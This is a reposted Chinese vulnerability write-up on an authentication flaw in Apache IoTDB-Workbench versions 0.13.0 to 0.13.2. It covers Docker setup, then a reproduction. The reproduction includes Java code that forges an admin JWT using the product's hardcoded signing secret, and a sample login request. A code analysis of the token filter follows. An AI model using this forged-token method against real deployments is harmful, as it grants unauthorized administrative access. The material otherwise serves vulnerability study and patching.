前言:
现时同学们对“apachetoken验证”都比较关怀,大家都需要剖析一些“apachetoken验证”的相关知识。那么小编同时在网摘上网罗了一些对于“apachetoken验证””的相关资讯,希望朋友们能喜欢,看官们快快来了解一下吧!文章转载于合天网安实验室
漏洞简介
影响版本 0.13.0 <= 漏洞版本 < 0.13.3
漏洞主要来自于 iotdb-web-workbench IoTDB-Workbench是IoTDB的可视化管理工具,可对IoTDB的数据进行增删改查、权限控制等,简化IoTDB的使用及学习成本。iotdb-web-workbench 中存在不正确的身份验证漏洞
环境搭建
我们发现在 Releases 中已经删除到只剩最新版本,所以我们从 commits 中查找历史提交记录来搭建环境
下载下历史版本的源码,下载之后利用 docker 搭建环境
需要修改一下 docker-compose.yml 将其中挂载数据库文件修改为
volumes: - ./backend/src/main/resources/sqlite/iotdb.db:/sqlite/iotdb.db
直接在根目录下执行 docker-compose up -d 虽然镜像编译成功,但是执行后一直启动不成功,通过 docker logs 查看日志信息
发现后台的 jar 包没有编译成功拷贝到容器内,所以先进入 backend 执行 mvn package 编译 jar 。默认情况下都是依赖于 aliyunmaven 但是很奇怪这次编译时会提示无法从 aliyun 中下载文件,所以将 maven 的 settings.xml 配置文件关于 aliyun 的相关依赖注释掉,就可以编译成功。
编译成功之后,再次执行发现了问题仍然存在,还是相同的错误类型。后来无论怎么修改 backend 目录下对应的 Dockerfile 文件,仍然无法成功。最后发现是因为没有修改根目录中的 docker-compose.yml,下载的仍然是有问题的镜像,没有去调用编译本地的镜像。
进到 backend 目录下 修改 Dockerfile 文件 删除掉 "${JAVA_MEM_OPTS}"
执行 docker build -t test:v1 . 编译镜像
编译之后,将 docker-compose.yml 中的 apache/iotdb-web-workbench:0.13.0-backend 替换为 test:v1
再执行 docker-compose up -d
访问
环境如此就搭建好了,但是在实际中利用的话,还是建议不要使用 docker ,而是单独编译前端后端。
漏洞复现
构造数据包请求保存用户时
提示没有登录
创建一个 java 项目
import io.jsonwebtoken.Jwts;import io.jsonwebtoken.SignatureAlgorithm;import java.util.Date;public class iotdb_CreateToken { private static String secret = "HSyJ0eXAiOiJKV1QasdfffffffSd3g8923402347523fffasdfasgwaegwaegawegawegawegawetwgewagagew" + "asdf23r23DEEasdfawef134t2fawt2g325gafasdfasdfiLCJhbGciOiJIUzI1NiJ9"; public static String generateToken(String username) { Date now = new Date(); // Calendar instance = Calendar.getInstance(); // instance.add(Calendar.HOUR_OF_DAY, 24); Date expireDate = new Date(new Date().getTime() + (1000 * 60 * 60 * 10)); return Jwts.builder() .setHeaderParam("type", "JWT") .setSubject(0 + "") .setIssuedAt(now) // 签发时间 .claim("userId", 1) .claim("name", username) .setExpiration(expireDate) // 过期时间 .signWith(SignatureAlgorithm.HS512, secret) .compact(); } public static void main(String[] args) { String token = generateToken("admin"); System.out.println(token); }}
将生成的 Token 加入到之前的数据包中
创建用户成功,尝试登录
POST /api/login?name=test&password=123456 HTTP/1.1Host: 127.0.0.1:8081Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: closeContent-Type: application/jsonContent-Length: 4{}
登录成功
漏洞分析
org.apache.iotdb.admin.filter.TokenFilter#preHandle
在 TokenFilter 中 JJwtTool.getClaimsByToken(authorization); 从请求头中获取 token 并解析匹配
org.apache.iotdb.admin.controller.UserController#login
我们发现 token 的来源是因为登录成功后会根据用户来生成 token JJwtTool.generateToken(user)
org.apache.iotdb.admin.tool.JJwtTool#generateToken
生成 Token 的相关参数均是可控的,所以我们可以自己构造
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